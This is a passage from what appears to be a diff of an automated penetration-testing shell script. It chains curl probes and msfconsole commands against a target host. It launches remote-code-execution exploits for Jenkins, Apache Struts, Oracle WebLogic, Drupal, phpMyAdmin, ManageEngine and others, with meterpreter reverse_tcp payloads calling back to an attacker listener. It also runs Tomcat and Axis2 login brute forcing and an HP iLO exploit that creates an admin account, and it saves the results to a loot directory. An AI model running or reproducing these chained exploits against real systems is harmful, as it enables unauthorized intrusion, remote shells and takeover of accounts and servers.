$LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING CITRIX GATEWAY ARBITRARY CODE EXECUTION VULNERABILITY CVE-2019-19781 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + curl -vk --path-as-is https://$TARGET/vpn/../vpns/ 2>&1 | grep "You don’t have permission to access /vpns/" >/dev/null && echo "VULNERABLE: $TARGET" | tee $LOOT_DIR/output/cve-2019-19781-$TARGET-port$PORT.txt || echo "MITIGATED: $TARGET" | tee $LOOT_DIR/output/cve-2019-19781-$TARGET-port$PORT.txt + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING RAILS FILE EXPOSURE EXPLOIT CVE-2019-5418 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use auxiliary/gather/rails_doubletap_file_read; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING CISCO RV320 AND RV325 UNAUTHENTICATED RCE EXPLOIT CVE-2019-1653 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/linux/http/cisco_rv32x_rce; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw 2> /dev/null fi - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING JBOSS VULN SCANNER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use scanner/http/jboss_vulnscan; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING HTTP PUT UPLOAD SCANNER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use scanner/http/http_put; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; set PATH /uploads/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; use scanner/http/webdav_website_content; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING MICROSOFT IIS WEBDAV ScStoragePathFromUrl OVERFLOW $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/windows/iis/iis_webdav_scstoragepathfromurl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING MANAGEENGINE DESKTOP CENTRAL RCE EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/windows/http/manageengine_connectionid_write; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; set PAYLOAD windows/meterpreter/reverse_tcp; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING APACHE TOMCAT ENUMERATION $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use scanner/http/tomcat_enum; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING APACHE TOMCAT MANAGER LOGIN BRUTEFORCE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING JENKINS ENUMERATION $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use scanner/http/jenkins_enum; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; set TARGETURI /; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING JENKINS SCRIPT CONSOLE RCE EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use multi/http/jenkins_script_console; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; setg SSL "$SSL"; set TARGET 0; run; set TARGETURI /; run; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set TARGET 1; run; set PAYLOAD linux/x86/meterpreter/reverse_tcp; run; set TARGET 2; set PAYLOAD linux/x64/meterpreter/reverse_tcp; run; set PAYLOAD linux/x86/meterpreter/reverse_tcp; run; set TARGETURI /; run; set TARGET 1; run; set TARGET 2; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING APACHE TOMCAT UTF8 TRAVERSAL EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use admin/http/tomcat_utf8_traversal; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING ELASTICSEARCH DYNAMIC SCRIPT JAVA INJECTION EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/multi/elasticsearch/script_mvel_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING DRUPALGEDDON HTTP PARAMETER SQL INJECTION CVE-2014-3704 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/multi/http/drupal_drupageddon; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw 2> /dev/null - #echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - #echo -e "$OKRED RUNNING MS15-034 HTTP.SYS MEMORY LEAK EXPLOIT $RESET" - #echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - #msfconsole -q -x "use scanner/http/ms15_034_http_sys_memory_dump; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw - #sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.txt 2> /dev/null - #rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING GLASSFISH ADMIN TRAVERSAL EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use scanner/http/glassfish_traversal; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/windows/http/badblue_passthru; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOITS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/htp/phpmyadmin_preg_replace; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING AXIS2 ADMIN BRUTE FORCE SCANNER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use scanner/http/axis_login; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg USERNAME admin; setg PASS_FILE "$PASS_FILE"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING AXIS2 AUTHENTICATED DEPLOYER RCE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use multi/http/axis2_deployer; setg RHOSTS "$TARGET"; set FingerprintCheck false; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL INJECTION METASPLOIT CVE-2017-8917 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING WORDPRESS REST API CONTENT INJECTION CVE-2017-5612 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use auxiliary/scanner/http/wordpress_content_injection; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING ORACLE WEBLOGIC WLS-WSAT DESERIALIZATION RCE CVE-2017-10271 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING APACHE STRUTS JAKARTA OGNL INJECTION CVE-2017-5638 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use multi/http/struts2_content_type_ognl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.txt 2> /dev/null - rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING APACHE STRUTS 2 SHOWCASE OGNL RCE CVE-2017-9805 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - msfconsole -q -x "use exploit/multi/http/struts2_rest_xstream; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw - sed -r 